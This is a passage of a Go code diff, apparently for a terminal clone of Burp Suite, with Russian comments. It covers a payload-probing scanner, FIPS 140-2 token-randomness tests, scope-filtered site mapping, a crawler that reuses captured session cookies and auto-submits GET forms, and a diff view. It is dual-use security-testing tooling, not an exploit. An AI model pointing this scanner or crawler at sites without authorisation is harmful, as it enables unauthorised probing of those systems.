}
|
||||
|
||||
resp := s.probe(ctx, clean, points, pointIndex, base, p)
|
||||
done++
|
||||
if !emit(Event{Kind: EventProgress, Done: done, Total: total}) {
|
||||
return
|
||||
}
|
||||
|
||||
if finding := check.Analyze(p, resp, baseline); finding != nil {
|
||||
if !emit(Event{Kind: EventFinding, Finding: *finding}) {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
return out, nil
|
||||
}
|
||||
|
||||
// probe собирает запрос с value в позиции pointIndex (остальные точки —
|
||||
// из base), отправляет и возвращает ProbeResult. Ошибки сборки/сети не
|
||||
// прерывают сканирование целиком — просто эта конкретная проверка не
|
||||
// сработает на этом payload'е (Err передаётся дальше, каждый Check сам
|
||||
// решает, игнорировать такой ProbeResult или нет — на практике все
|
||||
// текущие проверки его игнорируют).
|
||||
func (s *Scanner) probe(ctx context.Context, clean string, points []engine.InsertionPoint, pointIndex int, base []string, value string) ProbeResult {
|
||||
payloads := append([]string(nil), base...)
|
||||
payloads[pointIndex] = value
|
||||
|
||||
start := time.Now()
|
||||
req, err := engine.BuildRequest(clean, points, payloads)
|
||||
if err != nil {
|
||||
return ProbeResult{Err: err}
|
||||
}
|
||||
req = req.WithContext(ctx)
|
||||
|
||||
resp, err := s.client.Do(req)
|
||||
if err != nil {
|
||||
return ProbeResult{Err: err, Duration: time.Since(start)}
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
body, _ := readBodyCapped(resp.Body, maxBodyCapture)
|
||||
|
||||
return ProbeResult{
|
||||
StatusCode: resp.StatusCode,
|
||||
Body: string(body),
|
||||
Headers: resp.Header,
|
||||
Duration: time.Since(start),
|
||||
}
|
||||
}
|
||||
|
||||
// readBodyCapped — тот же принцип, что и одноимённая функция в engine
|
||||
// (см. её комментарий про keep-alive), продублирован здесь, а не
|
||||
// экспортирован из engine, чтобы scanner не тянул за собой лишнюю
|
||||
// связанность с внутренним устройством Intruder-движка ради одной
|
||||
// небольшой функции.
|
||||
func readBodyCapped(r io.Reader, cap int) ([]byte, error) {
|
||||
buf := make([]byte, 32*1024)
|
||||
var b bytes.Buffer
|
||||
for {
|
||||
n, rerr := r.Read(buf)
|
||||
if n > 0 && b.Len() < cap {
|
||||
remaining := cap - b.Len()
|
||||
if n < remaining {
|
||||
remaining = n
|
||||
}
|
||||
b.Write(buf[:remaining])
|
||||
}
|
||||
if rerr == io.EOF {
|
||||
break
|
||||
}
|
||||
if rerr != nil {
|
||||
return b.Bytes(), rerr
|
||||
}
|
||||
}
|
||||
return b.Bytes(), nil
|
||||
}
|
||||
|
||||
func containsName(names []string, name string) bool {
|
||||
for _, n := range names {
|
||||
if n == name {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
224
internal/sequencer/fips.go
Normal file
224
internal/sequencer/fips.go
Normal file
|
|
@ -0,0 +1,224 @@
|
|||
// Package sequencer анализирует случайность набора токенов (сессионных
|
||||
// ID, CSRF-токенов и т.п.) — аналог вкладки Sequencer в Burp. Реализует
|
||||
// классический набор статистических тестов FIPS 140-2 (monobit, poker,
|
||||
// runs, long run), исторически применявшийся именно для этой задачи.
|
||||
//
|
||||
// Тесты определены строго для блоков по 20 000 бит: входные сэмплы
|
||||
// склеиваются в один битовый поток и режутся на такие блоки, остаток
|
||||
// короче 20 000 бит отбрасывается. Это значит, что для содержательного
|
||||
// результата нужно ощутимое количество токенов — AnalyzeConcatenated
|
||||
// возвращает понятную ошибку, если данных не хватает даже на один блок.
|
||||
package sequencer
|
||||
|
||||
import (
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"strings"
|
||||
)
|
||||
|
||||
const fipsBlockBits = 20000
|
||||
|
||||
// runInterval — допустимый диапазон количества серий данной длины
|
||||
// для теста Runs, согласно таблице FIPS 140-2.
|
||||
type runInterval struct{ min, max int }
|
||||
|
||||
// runIntervals: длины серий 1..5 — точное совпадение по таблице,
|
||||
// 6 используется как корзина "6 и длиннее" (в спецификации у неё тот же
|
||||
// допустимый интервал, что и у длины 5).
|
||||
var runIntervals = map[int]runInterval{
|
||||
1: {2343, 2657},
|
||||
2: {1135, 1365},
|
||||
3: {542, 708},
|
||||
4: {251, 373},
|
||||
5: {111, 201},
|
||||
6: {111, 201},
|
||||
}
|
||||
|
||||
// BlockResult — результат всех четырёх тестов на одном 20 000-битном блоке.
|
||||
type BlockResult struct {
|
||||
MonobitOnes int
|
||||
MonobitPass bool
|
||||
|
||||
PokerX float64
|
||||
PokerPass bool
|
||||
|
||||
ZeroRuns map[int]int
|
||||
OneRuns map[int]int
|
||||
RunsPass bool
|
||||
|
||||
LongRunMax int
|
||||
LongRunPass bool
|
||||
}
|
||||
|
||||
// AllPass — блок считается прошедшим анализ, если все четыре теста
|
||||
// прошли. Один упавший тест не обязательно означает, что генератор
|
||||
// токенов плох — но чем больше блоков не проходят, тем тревожнее.
|
||||
func (r BlockResult) AllPass() bool {
|
||||
return r.MonobitPass && r.PokerPass && r.RunsPass && r.LongRunPass
|
||||
}
|
||||
|
||||
// ParseSample превращает одну строку ввода в байты для анализа: если
|
||||
// строка целиком выглядит как чётная hex-строка (частый формат для
|
||||
// сессионных токенов), она декодируется как hex; иначе берутся сырые
|
||||
// байты UTF-8 самой строки.
|
||||
func ParseSample(line string) []byte {
|
||||
line = strings.TrimSpace(line)
|
||||
if looksHex(line) {
|
||||
if b, err := hex.DecodeString(line); err == nil {
|
||||
return b
|
||||
}
|
||||
}
|
||||
return []byte(line)
|
||||
}
|
||||
|
||||
func looksHex(s string) bool {
|
||||
if s == "" || len(s)%2 != 0 {
|
||||
return false
|
||||
}
|
||||
for i := 0; i < len(s); i++ {
|
||||
c := s[i]
|
||||
if !((c >= '0' && c <= '9') || (c >= 'a' && c <= 'f') || (c >= 'A' && c <= 'F')) {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
// AnalyzeConcatenated склеивает все сэмплы в один битовый поток, режет
|
||||
// на блоки по 20 000 бит и прогоняет каждый через все четыре теста.
|
||||
// bitsAvailable — сколько бит суммарно было в сэмплах (для сообщения
|
||||
// пользователю, сколько ещё нужно добавить, если блоков получилось 0).
|
||||
func AnalyzeConcatenated(samples [][]byte) (results []BlockResult, blocksUsed int, bitsAvailable int, err error) {
|
||||
var all []byte
|
||||
for _, s := range samples {
|
||||
all = append(all, s...)
|
||||
}
|
||||
|
||||
bits := bytesToBits(all)
|
||||
bitsAvailable = len(bits)
|
||||
blocksUsed = bitsAvailable / fipsBlockBits
|
||||
if blocksUsed == 0 {
|
||||
return nil, 0, bitsAvailable, fmt.Errorf(
|
||||
"нужно минимум %d бит для одного FIPS-блока, есть %d — добавь ещё сэмплов",
|
||||
fipsBlockBits, bitsAvailable,
|
||||
)
|
||||
}
|
||||
|
||||
results = make([]BlockResult, 0, blocksUsed)
|
||||
for b := 0; b < blocksUsed; b++ {
|
||||
block := bits[b*fipsBlockBits : (b+1)*fipsBlockBits]
|
||||
|
||||
ones, monoOK := monobitTest(block)
|
||||
x, pokerOK := pokerTest(block)
|
||||
zeroRuns, oneRuns, runsOK := runsTest(block)
|
||||
maxRun, longOK := longRunTest(block)
|
||||
|
||||
results = append(results, BlockResult{
|
||||
MonobitOnes: ones, MonobitPass: monoOK,
|
||||
PokerX: x, PokerPass: pokerOK,
|
||||
ZeroRuns: zeroRuns, OneRuns: oneRuns, RunsPass: runsOK,
|
||||
LongRunMax: maxRun, LongRunPass: longOK,
|
||||
})
|
||||
}
|
||||
return results, blocksUsed, bitsAvailable, nil
|
||||
}
|
||||
|
||||
// bytesToBits разворачивает байты в отдельные биты, старший бит первым.
|
||||
func bytesToBits(data []byte) []byte {
|
||||
bits := make([]byte, len(data)*8)
|
||||
for i, b := range data {
|
||||
for j := 0; j < 8; j++ {
|
||||
bits[i*8+j] = (b >> uint(7-j)) & 1
|
||||
}
|
||||
}
|
||||
return bits
|
||||
}
|
||||
|
||||
// monobitTest — доля единиц в блоке должна быть близка к половине.
|
||||
// block должен быть длиной ровно fipsBlockBits.
|
||||
func monobitTest(block []byte) (ones int, pass bool) {
|
||||
for _, b := range block {
|
||||
ones += int(b)
|
||||
}
|
||||
return ones, ones > 9725 && ones < 10275
|
||||
}
|
||||
|
||||
// pokerTest делит блок на 5000 непересекающихся 4-битных сегментов,
|
||||
// считает распределение по 16 возможным значениям и проверяет
|
||||
// статистику X на попадание в допустимый интервал по таблице FIPS 140-2.
|
||||
func pokerTest(block []byte) (x float64, pass bool) {
|
||||
var freq [16]int
|
||||
for i := 0; i < 5000; i++ {
|
||||
v := 0
|
||||
for j := 0; j < 4; j++ {
|
||||
v = (v << 1) | int(block[i*4+j])
|
||||
}
|
||||
freq[v]++
|
||||
}
|
||||
|
||||
sumSq := 0.0
|
||||
for _, f := range freq {
|
||||
sumSq += float64(f) * float64(f)
|
||||
}
|
||||
x = (16.0/5000.0)*sumSq - 5000.0
|
||||
return x, x > 2.16 && x < 46.17
|
||||
}
|
||||
|
||||
// runsTest считает количество серий (подряд идущих одинаковых бит)
|
||||
// каждой длины отдельно для серий из нулей и из единиц, и сверяет
|
||||
// с допустимыми интервалами runIntervals. Длины 6 и больше — общая
|
||||
// корзина.
|
||||
func runsTest(block []byte) (zeroRuns, oneRuns map[int]int, pass bool) {
|
||||
zeroRuns = map[int]int{}
|
||||
oneRuns = map[int]int{}
|
||||
|
||||
i := 0
|
||||
n := len(block)
|
||||
for i < n {
|
||||
j := i
|
||||
for j < n && block[j] == block[i] {
|
||||
j++
|
||||
}
|
||||
length := j - i
|
||||
bucket := length
|
||||
if bucket > 6 {
|
||||
bucket = 6
|
||||
}
|
||||
if block[i] == 0 {
|
||||
zeroRuns[bucket]++
|
||||
} else {
|
||||
oneRuns[bucket]++
|
||||
}
|
||||
i = j
|
||||
}
|
||||
|
||||
pass = true
|
||||
for length := 1; length <= 6; length++ {
|
||||
interval := runIntervals[length]
|
||||
if zeroRuns[length] < interval.min || zeroRuns[length] > interval.max {
|
||||
pass = false
|
||||
}
|
||||
if oneRuns[length] < interval.min || oneRuns[length] > interval.max {
|
||||
pass = false
|
||||
}
|
||||
}
|
||||
return zeroRuns, oneRuns, pass
|
||||
}
|
||||
|
||||
// longRunTest — блок не должен содержать серию длиной 26 бит и более
|
||||
// (ни из нулей, ни из единиц).
|
||||
func longRunTest(block []byte) (maxRun int, pass bool) {
|
||||
i := 0
|
||||
n := len(block)
|
||||
for i < n {
|
||||
j := i
|
||||
for j < n && block[j] == block[i] {
|
||||
j++
|
||||
}
|
||||
if length := j - i; length > maxRun {
|
||||
maxRun = length
|
||||
}
|
||||
i = j
|
||||
}
|
||||
return maxRun, maxRun < 26
|
||||
}
|
||||
97
internal/sitemap/scope.go
Normal file
97
internal/sitemap/scope.go
Normal file
|
|
@ -0,0 +1,97 @@
|
|||
// Package sitemap строит иерархическую карту сайта из перехваченного
|
||||
// трафика (аналог Target / Site Map в Burp) и управляет scope —
|
||||
// набором regex-правил include/exclude, которыми фильтруется, что
|
||||
// попадает в карту.
|
||||
//
|
||||
// Пакет намеренно не зависит от internal/proxy — на вход Build
|
||||
// принимает свои Record, а не proxy.Entry, чтобы sitemap оставался
|
||||
// переиспользуемым независимо от того, откуда взялись перехваченные
|
||||
// запросы (сейчас это Proxy, но с тем же успехом это мог бы быть,
|
||||
// например, лог из файла).
|
||||
package sitemap
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"regexp"
|
||||
)
|
||||
|
||||
// Rule — одно правило scope: regex-паттерн и его тип (include/exclude).
|
||||
type Rule struct {
|
||||
Pattern string
|
||||
Exclude bool
|
||||
}
|
||||
|
||||
type compiledRule struct {
|
||||
Rule
|
||||
re *regexp.Regexp
|
||||
}
|
||||
|
||||
// Scope — упорядоченный набор regex-правил. Порядок добавления не влияет
|
||||
// на результат сопоставления (см. Matches), но сохраняется для
|
||||
// отображения в UI в том виде, в котором пользователь их вводил.
|
||||
type Scope struct {
|
||||
rules []compiledRule
|
||||
}
|
||||
|
||||
// NewScope создаёт пустой scope — по умолчанию всё считается в scope,
|
||||
// пока не добавлено хотя бы одно include-правило.
|
||||
func NewScope() *Scope {
|
||||
return &Scope{}
|
||||
}
|
||||
|
||||
// Add компилирует pattern и добавляет как include- или exclude-правило.
|
||||
func (s *Scope) Add(pattern string, exclude bool) error {
|
||||
re, err := regexp.Compile(pattern)
|
||||
if err != nil {
|
||||
return fmt.Errorf("некорректный regex %q: %w", pattern, err)
|
||||
}
|
||||
s.rules = append(s.rules, compiledRule{Rule: Rule{Pattern: pattern, Exclude: exclude}, re: re})
|
||||
return nil
|
||||
}
|
||||
|
||||
// RemoveAt удаляет правило по индексу (в порядке добавления, том же,
|
||||
// что возвращает Rules). Индекс вне диапазона игнорируется.
|
||||
func (s *Scope) RemoveAt(idx int) {
|
||||
if idx < 0 || idx >= len(s.rules) {
|
||||
return
|
||||
}
|
||||
s.rules = append(s.rules[:idx], s.rules[idx+1:]...)
|
||||
}
|
||||
|
||||
// Rules возвращает текущие правила в порядке добавления — для отображения в UI.
|
||||
func (s *Scope) Rules() []Rule {
|
||||
out := make([]Rule, len(s.rules))
|
||||
for i, r := range s.rules {
|
||||
out[i] = r.Rule
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// Matches решает, попадает ли url в scope:
|
||||
// - если url совпал с любым exclude-правилом — не в scope, безоговорочно;
|
||||
// - иначе, если есть хотя бы одно include-правило — url должен совпасть
|
||||
// хотя бы с одним из них;
|
||||
// - если include-правил нет вовсе — по умолчанию всё в scope
|
||||
// (кроме того, что попало под exclude).
|
||||
func (s *Scope) Matches(url string) bool {
|
||||
hasInclude := false
|
||||
includeMatched := false
|
||||
|
||||
for _, r := range s.rules {
|
||||
if r.Exclude {
|
||||
if r.re.MatchString(url) {
|
||||
return false
|
||||
}
|
||||
continue
|
||||
}
|
||||
hasInclude = true
|
||||
if r.re.MatchString(url) {
|
||||
includeMatched = true
|
||||
}
|
||||
}
|
||||
|
||||
if hasInclude {
|
||||
return includeMatched
|
||||
}
|
||||
return true
|
||||
}
|
||||
110
internal/sitemap/tree.go
Normal file
110
internal/sitemap/tree.go
Normal file
|
|
@ -0,0 +1,110 @@
|
|||
package sitemap
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net/url"
|
||||
"os"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// Record — минимальное описание одного перехваченного запроса,
|
||||
// достаточное для построения карты. Отделено от proxy.Entry намеренно
|
||||
// (см. doc пакета) — конвертация делается на стороне вызывающего кода.
|
||||
type Record struct {
|
||||
ID int
|
||||
Method string
|
||||
URL string
|
||||
StatusCode int
|
||||
Err string // непусто, если запрос завершился с ошибкой, а не HTTP-ответом
|
||||
}
|
||||
|
||||
// Endpoint — один запрос, привязанный к конкретному узлу дерева (то есть
|
||||
// к конкретному пути). На одном узле может быть несколько Endpoint —
|
||||
// например, GET и POST на один и тот же путь, или один и тот же запрос,
|
||||
// перехваченный повторно с другим статусом ответа.
|
||||
type Endpoint struct {
|
||||
Method string `json:"method"`
|
||||
StatusCode int `json:"status_code,omitempty"`
|
||||
URL string `json:"url"`
|
||||
EntryID int `json:"entry_id"`
|
||||
Err string `json:"error,omitempty"`
|
||||
}
|
||||
|
||||
// Node — один сегмент пути в дереве (либо хост на верхнем уровне).
|
||||
type Node struct {
|
||||
Name string `json:"name"`
|
||||
Children map[string]*Node `json:"children,omitempty"`
|
||||
Endpoints []Endpoint `json:"endpoints,omitempty"`
|
||||
}
|
||||
|
||||
func newNode(name string) *Node {
|
||||
return &Node{Name: name, Children: map[string]*Node{}}
|
||||
}
|
||||
|
||||
// Tree — карта сайта: набор деревьев путей, по одному на каждый
|
||||
// перехваченный хост.
|
||||
type Tree struct {
|
||||
Hosts map[string]*Node `json:"hosts"`
|
||||
}
|
||||
|
||||
// Build строит дерево из записей, отфильтрованных scope. Записи,
|
||||
// не проходящие Matches, в дерево не попадают вовсе — это соответствует
|
||||
// поведению Target scope в Burp: то, что вне scope, не засоряет карту.
|
||||
func Build(records []Record, scope *Scope) *Tree {
|
||||
t := &Tree{Hosts: map[string]*Node{}}
|
||||
|
||||
for _, r := range records {
|
||||
if scope != nil && !scope.Matches(r.URL) {
|
||||
continue
|
||||
}
|
||||
|
||||
u, err := url.Parse(r.URL)
|
||||
if err != nil || u.Host == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
host, ok := t.Hosts[u.Host]
|
||||
if !ok {
|
||||
host = newNode(u.Host)
|
||||
t.Hosts[u.Host] = host
|
||||
}
|
||||
|
||||
cur := host
|
||||
for _, seg := range strings.Split(strings.Trim(u.Path, "/"), "/") {
|
||||
if seg == "" {
|
||||
continue
|
||||
}
|
||||
child, ok := cur.Children[seg]
|
||||
if !ok {
|
||||
child = newNode(seg)
|
||||
cur.Children[seg] = child
|
||||
}
|
||||
cur = child
|
||||
}
|
||||
|
||||
cur.Endpoints = append(cur.Endpoints, Endpoint{
|
||||
Method: r.Method,
|
||||
StatusCode: r.StatusCode,
|
||||
URL: r.URL,
|
||||
EntryID: r.ID,
|
||||
Err: r.Err,
|
||||
})
|
||||
}
|
||||
|
||||
return t
|
||||
}
|
||||
|
||||
// ExportJSON сериализует дерево и пишет его в path. encoding/json сам
|
||||
// сортирует ключи map[string]*Node при маршалинге, так что вывод
|
||||
// детерминирован без дополнительной сортировки перед записью.
|
||||
func (t *Tree) ExportJSON(path string) error {
|
||||
data, err := json.MarshalIndent(t, "", " ")
|
||||
if err != nil {
|
||||
return fmt.Errorf("сериализация карты сайта: %w", err)
|
||||
}
|
||||
if err := os.WriteFile(path, data, 0o644); err != nil {
|
||||
return fmt.Errorf("запись файла %s: %w", path, err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
286
internal/spider/spider.go
Normal file
286
internal/spider/spider.go
Normal file
|
|
@ -0,0 +1,286 @@
|
|||
package spider
|
||||
|
||||
import (
|
||||
"context"
|
||||
"io"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"golang.org/x/net/html"
|
||||
)
|
||||
|
||||
// Page — результат обхода одной страницы.
|
||||
type Page struct {
|
||||
URL string
|
||||
Status int
|
||||
Links []string
|
||||
Forms []Form
|
||||
}
|
||||
|
||||
// Form описывает найденную HTML-форму.
|
||||
type Form struct {
|
||||
Action string
|
||||
Method string
|
||||
Fields []string
|
||||
}
|
||||
|
||||
// Spider выполняет ограниченный по scope и глубине обход сайта.
|
||||
type Spider struct {
|
||||
scope *url.URL
|
||||
maxDepth int
|
||||
client *http.Client
|
||||
|
||||
// headers применяются к каждому запросу обхода — сюда попадают
|
||||
// сессионные Cookie/Authorization, которые TUI подхватывает из
|
||||
// истории Proxy (см. proxy.ExtractSessionHeaders), чтобы краулинг
|
||||
// мог заходить в авторизованные зоны без ручного копирования куки.
|
||||
headers http.Header
|
||||
|
||||
visited sync.Map // url string -> struct{}
|
||||
results chan Page
|
||||
inProgress sync.WaitGroup
|
||||
}
|
||||
|
||||
// New создаёт Spider, ограниченный доменом scope и глубиной maxDepth.
|
||||
//
|
||||
// Собственный Transport, а не голый http.Client{} (который неявно
|
||||
// использовал бы общий пакетный http.DefaultTransport, разделяемый ещё
|
||||
// с чем угодно в процессе, случайно на него опершимся) — с тем же
|
||||
// тюнингом пула соединений, что и в engine.New: bfs рекурсивно плодит
|
||||
// горутину на каждую найденную ссылку без явного лимита, так что
|
||||
// конкурентных запросов к одному хосту может набраться заметно больше
|
||||
// дефолтных двух идle-соединений.
|
||||
func New(scope *url.URL, maxDepth int) *Spider {
|
||||
transport := &http.Transport{
|
||||
MaxIdleConnsPerHost: 50,
|
||||
MaxIdleConns: 100,
|
||||
IdleConnTimeout: 90 * time.Second,
|
||||
}
|
||||
return &Spider{
|
||||
scope: scope,
|
||||
maxDepth: maxDepth,
|
||||
client: &http.Client{Transport: transport},
|
||||
results: make(chan Page, 64),
|
||||
}
|
||||
}
|
||||
|
||||
// SetHeaders задаёт заголовки, применяемые к каждому запросу обхода.
|
||||
func (s *Spider) SetHeaders(h http.Header) {
|
||||
s.headers = h
|
||||
}
|
||||
|
||||
// Crawl запускает BFS обход, ограниченный scope (домен/поддомены)
|
||||
// и maxDepth. Возвращает канал с найденными страницами; канал
|
||||
// закрывается, когда обход полностью завершён или ctx отменён.
|
||||
func (s *Spider) Crawl(ctx context.Context, start string) <-chan Page {
|
||||
s.inProgress.Add(1)
|
||||
go s.bfs(ctx, start, 0)
|
||||
|
||||
go func() {
|
||||
s.inProgress.Wait()
|
||||
close(s.results)
|
||||
}()
|
||||
|
||||
return s.results
|
||||
}
|
||||
|
||||
func (s *Spider) bfs(ctx context.Context, link string, depth int) {
|
||||
defer s.inProgress.Done()
|
||||
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
default:
|
||||
}
|
||||
|
||||
if depth > s.maxDepth {
|
||||
return
|
||||
}
|
||||
if _, seen := s.visited.LoadOrStore(link, struct{}{}); seen {
|
||||
return
|
||||
}
|
||||
|
||||
req, err := http.NewRequestWithContext(ctx, http.MethodGet, link, nil)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
for k, vv := range s.headers {
|
||||
for _, v := range vv {
|
||||
req.Header.Add(k, v)
|
||||
}
|
||||
}
|
||||
resp, err := s.client.Do(req)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
links, forms := extractLinksAndForms(resp.Body, link)
|
||||
|
||||
inScope := make([]string, 0, len(links))
|
||||
for _, l := range links {
|
||||
if s.inScope(l) {
|
||||
inScope = append(inScope, l)
|
||||
}
|
||||
}
|
||||
|
||||
// Авто-сабмит GET-форм: поисковые поля и фильтры почти всегда ведут
|
||||
// на GET, и содержимое за ними иначе никогда не попало бы в обход
|
||||
// (оно не существует как <a href>, пока форму не отправить). POST-формы
|
||||
// сознательно пропускаем — GET по HTTP-спецификации должен быть
|
||||
// безопасным/идемпотентным, POST обычно меняет состояние (логин,
|
||||
// удаление, отправка данных), и автоматически дёргать их было бы
|
||||
// небезопасно. Оговорка: некоторые сайты нарушают спецификацию и
|
||||
// делают side-effect'ы даже через GET (напр. "GET-логаут") — это
|
||||
// осознанный редкий риск ради автоматизации, а не гарантия.
|
||||
for _, f := range forms {
|
||||
if !strings.EqualFold(f.Method, "GET") || f.Action == "" {
|
||||
continue
|
||||
}
|
||||
formURL, err := buildGetFormURL(f)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if s.inScope(formURL) {
|
||||
inScope = append(inScope, formURL)
|
||||
}
|
||||
}
|
||||
|
||||
select {
|
||||
case s.results <- Page{
|
||||
URL: link,
|
||||
Status: resp.StatusCode,
|
||||
Links: inScope,
|
||||
Forms: forms,
|
||||
}:
|
||||
case <-ctx.Done():
|
||||
return
|
||||
}
|
||||
|
||||
for _, next := range inScope {
|
||||
s.inProgress.Add(1)
|
||||
go s.bfs(ctx, next, depth+1)
|
||||
}
|
||||
}
|
||||
|
||||
// buildGetFormURL конструирует URL для GET-формы: берёт Action (уже
|
||||
// абсолютный — resolve() применяется при извлечении формы) и добавляет
|
||||
// в query по одному заполнителю на каждое известное поле формы. "test" —
|
||||
// нейтральное значение-заглушка, не привязанное к конкретному сайту;
|
||||
// поля, у которых в самом action уже есть значение (редко, но бывает
|
||||
// в hidden-полях с предзаполненным query), не перезаписываются.
|
||||
func buildGetFormURL(f Form) (string, error) {
|
||||
u, err := url.Parse(f.Action)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
q := u.Query()
|
||||
for _, name := range f.Fields {
|
||||
if name == "" || q.Get(name) != "" {
|
||||
continue
|
||||
}
|
||||
q.Set(name, "test")
|
||||
}
|
||||
u.RawQuery = q.Encode()
|
||||
return u.String(), nil
|
||||
}
|
||||
|
||||
// extractLinksAndForms парсит HTML и вытаскивает абсолютные ссылки
|
||||
// из <a href>, а также описания форм из <form>/<input>.
|
||||
func extractLinksAndForms(body io.Reader, base string) ([]string, []Form) {
|
||||
baseURL, err := url.Parse(base)
|
||||
if err != nil {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
doc, err := html.Parse(body)
|
||||
if err != nil {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
var links []string
|
||||
var forms []Form
|
||||
var curForm *Form
|
||||
|
||||
var walk func(*html.Node)
|
||||
walk = func(n *html.Node) {
|
||||
if n.Type == html.ElementNode {
|
||||
switch n.Data {
|
||||
case "a":
|
||||
if href, ok := attr(n, "href"); ok {
|
||||
if abs := resolve(baseURL, href); abs != "" {
|
||||
links = append(links, abs)
|
||||
}
|
||||
}
|
||||
case "form":
|
||||
action, _ := attr(n, "action")
|
||||
method, ok := attr(n, "method")
|
||||
if !ok {
|
||||
method = "GET"
|
||||
}
|
||||
f := Form{
|
||||
Action: resolve(baseURL, action),
|
||||
Method: strings.ToUpper(method),
|
||||
}
|
||||
curForm = &f
|
||||
case "input", "textarea", "select":
|
||||
if curForm != nil {
|
||||
if name, ok := attr(n, "name"); ok {
|
||||
curForm.Fields = append(curForm.Fields, name)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for c := n.FirstChild; c != nil; c = c.NextSibling {
|
||||
walk(c)
|
||||
}
|
||||
|
||||
if n.Type == html.ElementNode && n.Data == "form" && curForm != nil {
|
||||
forms = append(forms, *curForm)
|
||||
curForm = nil
|
||||
}
|
||||
}
|
||||
walk(doc)
|
||||
|
||||
return links, forms
|
||||
}
|
||||
|
||||
// attr возвращает значение атрибута узла по имени.
|
||||
func attr(n *html.Node, key string) (string, bool) {
|
||||
for _, a := range n.Attr {
|
||||
if a.Key == key {
|
||||
return a.Val, true
|
||||
}
|
||||
}
|
||||
return "", false
|
||||
}
|
||||
|
||||
// resolve превращает относительную ссылку в абсолютную относительно base.
|
||||
// Игнорирует не-http(s) схемы (mailto:, javascript:, tel: и т.п.).
|
||||
func resolve(base *url.URL, ref string) string {
|
||||
if ref == "" {
|
||||
return ""
|
||||
}
|
||||
u, err := url.Parse(ref)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
abs := base.ResolveReference(u)
|
||||
if abs.Scheme != "http" && abs.Scheme != "https" {
|
||||
return ""
|
||||
}
|
||||
abs.Fragment = ""
|
||||
return abs.String()
|
||||
}
|
||||
|
||||
func (s *Spider) inScope(link string) bool {
|
||||
u, err := url.Parse(link)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
return u.Host == s.scope.Host || strings.HasSuffix(u.Host, "."+s.scope.Host)
|
||||
}
|
||||
157
internal/tui/comparerview.go
Normal file
157
internal/tui/comparerview.go
Normal file
|
|
@ -0,0 +1,157 @@
|
|||
package tui
|
||||
|
||||
import (
|
||||
"strings"
|
||||
|
||||
"github.com/charmbracelet/bubbles/textarea"
|
||||
"github.com/charmbracelet/bubbles/viewport"
|
||||
tea "github.com/charmbracelet/bubbletea"
|
||||
"github.com/charmbracelet/lipgloss"
|
||||
|
||||
"github.com/r3g1tpr0cs/burterm/internal/comparer"
|
||||
)
|
||||
|
||||
// comparerModel — вкладка Comparer: два независимых поля ввода (A и B)
|
||||
// и вычисляемый по запросу токенный diff между ними. Diff не
|
||||
// пересчитывается на каждое нажатие клавиши (это было бы дорого и
|
||||
// мельтешило бы перед глазами при печати) — только по ctrl+d.
|
||||
type comparerModel struct {
|
||||
left textarea.Model
|
||||
right textarea.Model
|
||||
diff viewport.Model
|
||||
|
||||
focus int // 0 — left, 1 — right, 2 — diff (скролл)
|
||||
}
|
||||
|
||||
func newComparerView() comparerModel {
|
||||
left := textarea.New()
|
||||
left.Placeholder = "Текст A"
|
||||
left.Focus()
|
||||
|
||||
right := textarea.New()
|
||||
right.Placeholder = "Текст B"
|
||||
|
||||
return comparerModel{
|
||||
left: left,
|
||||
right: right,
|
||||
diff: viewport.New(0, 0),
|
||||
}
|
||||
}
|
||||
|
||||
func (m *comparerModel) SetSize(width, height int) {
|
||||
if width < 0 {
|
||||
width = 0
|
||||
}
|
||||
if height < 0 {
|
||||
height = 0
|
||||
}
|
||||
inputHeight := height / 4
|
||||
halfWidth := width / 2
|
||||
|
||||
m.left.SetWidth(halfWidth)
|
||||
m.left.SetHeight(inputHeight)
|
||||
m.right.SetWidth(width - halfWidth)
|
||||
m.right.SetHeight(inputHeight)
|
||||
|
||||
m.diff.Width = width
|
||||
// Второй провал точного построчного подсчёта подряд на этой вкладке
|
||||
// (сначала -5, потом -6, оба раза всё равно вылезало за экран) —
|
||||
// значит моё предположение о том, что textarea.View() рендерит ровно
|
||||
// столько строк, сколько задано через SetHeight, скорее всего неверно
|
||||
// (возможно, у неё есть свой скрытый оверхед — рамка/строка счётчика
|
||||
// символов/что-то ещё, чего я не вижу в исходниках bubbles без
|
||||
// реального терминала под рукой). Вместо третьей попытки угадать
|
||||
// точное число — солидный запас (-12 вместо расчётных 6), плюс
|
||||
// inputHeight теперь height/4, а не height/3, чтобы оставить больше
|
||||
// свободного места на непредвиденный оверхед. Цена: diff-viewport
|
||||
// будет заметно ниже, чем мог бы быть — гарантированная видимость
|
||||
// меню важнее.
|
||||
m.diff.Height = height - inputHeight - 12
|
||||
if m.diff.Height < 3 {
|
||||
m.diff.Height = 3
|
||||
}
|
||||
}
|
||||
|
||||
func (m comparerModel) Update(msg tea.Msg) (comparerModel, tea.Cmd) {
|
||||
if key, ok := msg.(tea.KeyMsg); ok {
|
||||
switch key.String() {
|
||||
case "tab":
|
||||
m.focus = (m.focus + 1) % 3
|
||||
m.left.Blur()
|
||||
m.right.Blur()
|
||||
switch m.focus {
|
||||
case 0:
|
||||
m.left.Focus()
|
||||
case 1:
|
